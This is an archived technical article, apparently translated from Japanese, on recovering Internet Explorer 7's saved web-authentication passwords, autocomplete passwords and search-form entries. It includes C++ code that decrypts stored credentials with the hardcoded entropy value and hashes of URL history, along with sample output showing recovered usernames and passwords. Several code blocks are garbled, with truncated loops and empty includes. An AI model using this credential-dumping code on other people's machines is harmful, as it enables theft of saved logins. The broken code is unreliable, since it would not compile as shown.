TUCoPS :: Browsers :: c07-2118.htm

Internet Explorer 7 certification password and operation of auto complete
The certification password of Internet Explorer 7 and operation of auto complete
The certification password of Internet Explorer 7 and operation of auto complete

The certification password of Internet Explorer 7 and operation of 
auto complete

at ScanNetSecurity(https://www.netsecurity.ne.jp/) 
 When we set a certification password as "Save," or auto complete is 
validated in Internet Explorer (IE), the data are stored in the 
computer.  The operation method for these data has not been formally 
thrown open to the public.  However, we can obtain the data with 
WnetEnumCachedPasswords*1 in IE 4.01 and earlier versions, and with 
Protected Storage service, which use the IPStore interface*2 in IE 
4.01 and later versions.

About the certification password of Internet Explorer and operation 
of auto complete, refer to http://codezine.jp/a/article.aspx?aid=147. 

In IE 7, this saving format was completely changed and the data 
cannot be read using the existing method. In this paper, we are going 
to describe working with these data in IE7. The readers of this paper 
are expected to have some knowledge of C++, Microsoft Platform SDK, 
and MSDN library.

Sample cords, executables, and how to implement the program are shown 
on the support pages at http://www.sapporoworks.ne.jp/ie7_pass/. 

Sample cords are created with Microsoft Visual Studio 2005 C++ and 
tested on WindowsXP(SP2).

HideSeek Ver2.1.0 and prior, Supported in IE7

*1 WnetEnumCachedPasswords
WnetEnumCachedPasswords is closed API and can be used by acquiring 
the address with GetProcAddress from mpr.dll.

*2 IPStore interface

Three saving formats

In IE7, the following three saving formats are changed:

(1) Web certification password

In IE7, a dialogue asking for input is shown when we access a Web 
server which needs certification (basic certification).  "user name" 
and "password" should be input here.  If "store a password" is 
validated, these data are automatically input the next time the 
server is accessed.

(2) Password by auto complete

This is the method for saving the password that goes in the password 
field.  On the screen, it is masked like ●●●●.  If the former 
input remains, the password is automatically input when the input in 
the text field is completed.

-------------------------------------------------------------------- (3) Automatic complete character strings By remembering the strings that are input in the following text field, the character strings are complemented when you input data in the field. The previous sentence is not clear. This is not the password information, but it is highly possible that unexpected personal information is stored there. --------------------------------------------------------------------

search string:
-------------------------------------------------------------------- We shall describe each operation method next. >> Web certification password The data of the Web certification password can be recounted in CredEnumerate, which is a low level API function for certificate management. 【 About Authentication Functions - Credentials Management Functions】 http://msdn.microsoft.com/library/en-us/secauthn/security/authenticati on_functions.asp 【CREDENTIALStructure Excerpt from wincred.h】 -------------------------------------- typedef struct _CREDENTIALA { DWORD Flags; DWORD Type; LPSTR TargetName; LPSTR Comment; FILETIME LastWritten; DWORD CredentialBlobSize; LPBYTE CredentialBlob; DWORD Persist; DWORD AttributeCount; PCREDENTIAL_ATTRIBUTEA Attributes; LPSTR TargetAlias; LPSTR UserName; } CREDENTIALA, *PCREDENTIALA; -------------------------------------- When recounted in CredEnumerate, it can be acquired as certificate data that is described with credential structure. However, the data of the Web certification password are a server name and a title character string in which Type being a member of this structure is "1" and whose TargetName begins with "Microsoft_WinInet_." Since the binary data are ciphered in CryptProtectData, which is a cryptography function, their contents cannot be learned. By decoding with CryptUnprotectData, we can finally acquire the username and password. The password when decoding with CryptUnprotectData is the data that is 4 times the string "abe2869f-9b47-4cd9-a358-c22904dba7f7." A sample cord is as follows: -------------------------------------------------------------------- // wincred.h is included in Platform SDK. // To use CryptUnprotectData, it is necessary to enlink Crypt32.lib. #include #include #include void main(int argc,char *argv[]) { DATA_BLOB DataIn; DATA_BLOB DataOut; DATA_BLOB OptionalEntropy; short tmp[37]; char *password={"abe2869f-9b47-4cd9-a358-c22904dba7f7"}; for(int i=0; i< 37; i++) tmp[i] = (short int)(password[i] * 4); OptionalEntropy.pbData = (BYTE *)&tmp; OptionalEntropy.cbData = 74; DWORD Count; PCREDENTIAL *Credential; if(CredEnumerate(NULL,0,&Count,&Credential)){ for(int i=0;i CredentialBlob; DataIn.cbData = Credential[i] -> CredentialBlobSize; if(CryptUnprotectData(&DataIn,NULL,&OptionalEntropy,NULL,NULL,0,&DataO ut)){ printf("Type : %d\n",Credential[i] ->Type); printf("TargetName : %s\n",Credential[i] ->TargetName); printf("DataOut.pbData : %ls\n",DataOut.pbData); } } CredFree(Credential); } } -------------------------------------------------------------------- The result to execute the above-mentioned program is as follows: The first data shows that the user ID and the password in https:// enter.nifty.com/ are " user ID: user-id, password:password." -------------------------------------------------------------------- C:\>sample_1.exe Type : 1 TargetName : Microsoft_WinInet_enter.nifty.com:443/Service DataOut.pbData : user-id:password Type : 1 TargetName : Microsoft_WinInet_192.168.0.1:80/test-server DataOut.pbData : test:123456 -------------------------------------------------------------------- >> password by auto complete The password by using auto complete is sorted in the following registry: "HKEY_CURRENT_USER/Software/Microsoft/Internet Explorer/IntelliForms/Storage2" In this registry, there are values whose name is a string of 42 bytes in hexadecimal notation. Each is saved password data by auto complete of each URL. A string in hexadecimal notation is a hash value of the URL in which the concerned password is input. The value is ciphered in CryptProtectData using the URL as a password, and stored in REG_BINARY. We cannot guess the original strings from the hash value, and cannot read the contents unless we know the URL. In this respect, the security level has been improved from that in IE6. In the sample of this paper, the URLs are acquired from the URL history and deciphered in a round robin method. If the data is the same as the registry name when calculating hash values of all URLs visited in the past, it is the password of the concerned data. (* We cannot decipher a password of a URL whose history is deleted.) A cord is checked by looking through the history first. -------------------------------------------------------------------- // retrieve the history of URL int GetUrlHistory(wchar_t *UrlHistory[URL_HISTORY_MAX]) { int max = 0; CoInitialize(NULL);// COM Initialization IUrlHistoryStg2* pUrlHistoryStg2=NULL; HRESULT hr = CoCreateInstance(CLSID_CUrlHistory, NULL, CLSCTX_INPROC_SERVER,IID_IUrlHistoryStg2,(void**)(&pUrlHistoryStg2)); if(SUCCEEDED(hr)){ IEnumSTATURL* pEnumUrls; hr = pUrlHistoryStg2->EnumUrls(&pEnumUrls); if (SUCCEEDED(hr)){ STATURL StatUrl[1]; ULONG ulFetched; while (maxNext(1, StatUrl, &ulFetched)) == S_OK){ if (StatUrl->pwcsUrl != NULL) { // If there is a parameter,delete it. wchar_t *p; if(NULL!=(p = wcschr(StatUrl->pwcsUrl,'?'))) *p='\0'; UrlHistory[max] = new wchar_t[wcslen(StatUrl->pwcsUrl)+1]; wcscpy(UrlHistory[max],StatUrl->pwcsUrl); max++; } } pEnumUrls->Release(); } pUrlHistoryStg2->Release(); } CoUninitialize(); return max; } -------------------------------------------------------------------- Microsoft documents say that the history of IE can be read with the EnumUrls method of the IUrlHistoryStg interface. 【 IUrlHistoryStg Interface 】 http://msdn.microsoft.com/workshop/networking/urlhist/iurlhistorystg/i urlhistory.asp 【 IUrlHistoryStg::EnumUrls Method 】 http://msdn.microsoft.com/workshop/networking/urlhist/iurlhistorystg/e numurls.asp In the sample above, the parameter after ? is deleted from enumerated strings and stored. We are going to describe the method to acquire the hash string, which is a value of the registry, from the URL that will be a password. The hash value calculates the value by CryptHashData, while the relevant URL is used as a password, and makes 20 bytes from the beginning of the strings. This poses a problem as 2 bytes fewer than the 42 bytes of the registry name make the 20 bytes of a string into 40 bytes. The value of the first 1 byte is acquired by adding each byte from the beginning to the 20th byte. In the sample, we calculate the last 1 byte in an unsigned char tail. Please use this as a reference. -------------------------------------------------------------------- // Calculate the hash value from Password, and retrieve it as a character string "Hashstr." void GetHashStr(wchar_t *Password,char *HashStr) { HashStr[0]='\0'; HCRYPTPROV hProv = NULL; HCRYPTHASH hHash = NULL; CryptAcquireContext(&hProv, 0,0,PROV_RSA_FULL,0); // instance of hash calculation if(CryptCreateHash(hProv,CALG_SHA1, 0, 0,&hHash)){ //calculation of hash value if(CryptHashData(hHash,(unsigned char *)Password,(wcslen(Password)+1)*2,0)){ // retrieve 20 bytes of hash value DWORD dwHashLen=20; BYTE Buffer[20]; if(CryptGetHashParam(hHash,HP_HASHVAL,Buffer,&dwHashLen,0)){ CryptDestroyHash(hHash); CryptReleaseContext(hProv, 0); // creation of character string based on hash char TmpBuf[128]; unsigned char tail=0;// variable to calculate value for the last 2 bytes // convert to a character string in hexadecimal notation for(int i=0;i<20;i++){ unsigned char c = Buffer[i]; tail+=c; wsprintf(TmpBuf,"%s%2.2X",HashStr,c); strcpy(HashStr,TmpBuf); } // add the last 2 bytes wsprintf(TmpBuf,"%s%2.2X",HashStr,tail); strcpy(HashStr,TmpBuf); } } } } -------------------------------------------------------------------- >> password by auto complete No.2 Enumerate all the values included in the target registry key [Storage2], and compare it with the hash string derived from the URL history. If the URL is the same, decode the registry value using the URL as a password. The decoding should be done in CryptUnprotectData. The procedure is the same as that of the Web certification password. The operation is implemented in the following cord. -------------------------------------------------------------------- void main(int argc,char* argv[]) { // retrieve URL from the history wchar_t *UrlHistory[URL_HISTORY_MAX]; int UrlListoryMax = GetUrlHistory(UrlHistory); char *KeyStr = {"Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2"}; HKEY hKey; // enumerate values of the target registry if(ERROR_SUCCESS==RegOpenKeyEx(HKEY_CURRENT_USER,KeyStr,0,KEY_QUERY_VA LUE,&hKey)){ for(int i=0;;i++){ char Val[1024]; DWORD Size = 1024; if(ERROR_NO_MORE_ITEMS==RegEnumValue(hKey,i,Val, &Size, NULL,NULL, NULL, NULL)) break; // compare the value of the retrieved registry with the hash value of the history URL for(int n=0;nsample_2.exe url : http://www.amazon.co.jp/gp/flex/sign-out.html/ref=pd_irl_gw_r/XXX-XXXX XXX-XXXXXXX hash : 9EF333A1BDEDAA158D829497873EC11436ACDA9019 HeaderSize=56 DataSize=72 DataMax=2 [0][2006/11/23 11:24]user@exsample.com [1][2006/11/23 11:24]123456 -------------------------------------------------------------------- >> auto complete character string Auto complete character strings are stored in nearly the same form as the auto complete password. There are only two differences: the first is that the registry in which the data is saved is as follows, and the second is that the tag name of a form is used as a password for encrypting data, instead of the URL. "HKEY_CURRENT_USER/Software/Microsoft/Internet Explorer/IntelliForms/Storage1" The tag name of the form used for a password is "q" in the form like this: --------------------------------------------------------------------

search string:
-------------------------------------------------------------------- As the tag name is not left in the computer while the history of URLs are, we cannot check using a round robin method. Therefore, we cannot decode unless we can guess the name. We are going to illustrate the tag name used in the input form of major search pages and its hash strings. [Google] q C6FB044EC2BD401521D6B1082276415638196D8004 [Yahoo JAPAN] p E1D111AE435EE00BF07DF91CE5AF8FE83F7E3370EA [MSN Japan] q C6FB044EC2BD401521D6B1082276415638196D8004 [goo] mt 8A40878496B3A02B8277C2AD25255C111A5A02D755 [infoseek] qt 90D5C215D3DA44C6D0D6B7E9FD3CA053A5EFBEF1A8 If the hash strings above are in the registry "Storage1", they are the search strings that were used in the relevant search page. Further, the tag name should be lower case when used as a password. For example, "Q" should be "q", and "Name" should be "name". Then, we show the code that reads the auto complete data when the tag name is "q" as follows: GetHashStr(), which creates hash strings, and ProntData(), which indicates retrieved data, are the same as used in the code of "password by auto complete". -------------------------------------------------------------------- void main(int argc,char* argv[]) { wchar_t TagStr[128]; wcscpy(TagStr,L"q"); char HashStr[128]; GetHashStr(TagStr,HashStr); char *KeyStr = {"Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage1"}; HKEY hKey; // enumerate values of the target registry if(ERROR_SUCCESS==RegOpenKeyEx(HKEY_CURRENT_USER,KeyStr,0,KEY_QUERY_VA LUE,&hKey)){ for(int i=0;;i++){ char Val[1024]; DWORD Size = 1024; if(ERROR_NO_MORE_ITEMS==RegEnumValue(hKey,i,Val, &Size, NULL,NULL, NULL, NULL)) break; // compare the value of the retrieved registry with the hash value of string 'q" if(strcmp(Val,HashStr)==0){// find password(URL) printf("tag : %ls\n",TagStr); printf("hash : %s\n",HashStr); // retrieve data from the taget registry DWORD BufferLen; DWORD dwType; RegQueryValueEx(hKey,Val,0,&dwType,NULL,&BufferLen); BYTE *Buffer = new BYTE[BufferLen]; if(RegQueryValueEx(hKey,Val,0,&dwType,Buffer,&BufferLen)==ERROR_SUCCES S){ DATA_BLOB DataIn; DATA_BLOB DataOut; DATA_BLOB OptionalEntropy; DataIn.pbData = Buffer; DataIn.cbData = BufferLen; OptionalEntropy.pbData = (unsigned char *)TagStr; OptionalEntropy.cbData = (wcslen(TagStr)+1)*2; //release protection if(CryptUnprotectData(&DataIn,0,&OptionalEntropy,NULL,NULL,1,&DataOut)) { PrintData((char *)DataOut.pbData); LocalFree(DataOut.pbData); } delete [] Buffer; } break; } } RegCloseKey(hKey); } } -------------------------------------------------------------------- The results from executing the sample program are as follows: -------------------------------------------------------------------- C:\>sample_3.exe tag : q hash : C6FB044EC2BD401521D6B1082276415638196D8004 HeaderSize=104 DataSize=68 DataMax=5 [0][2006/11/25 06:35]test [1][2006/11/25 06:35]test2 [2][2006/11/25 07:42]travel Hokkaido [3][2006/11/25 07:49]sightseeing [4][2006/11/25 07:50]hotel -------------------------------------------------------------------- >> Summary We have described the closed data saved by IE7. This is the method for handling the data that should be concealed in a normal situation. Therefore, if you use this technique, for example to create applications, pay attention to security issues.

TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2024 AOH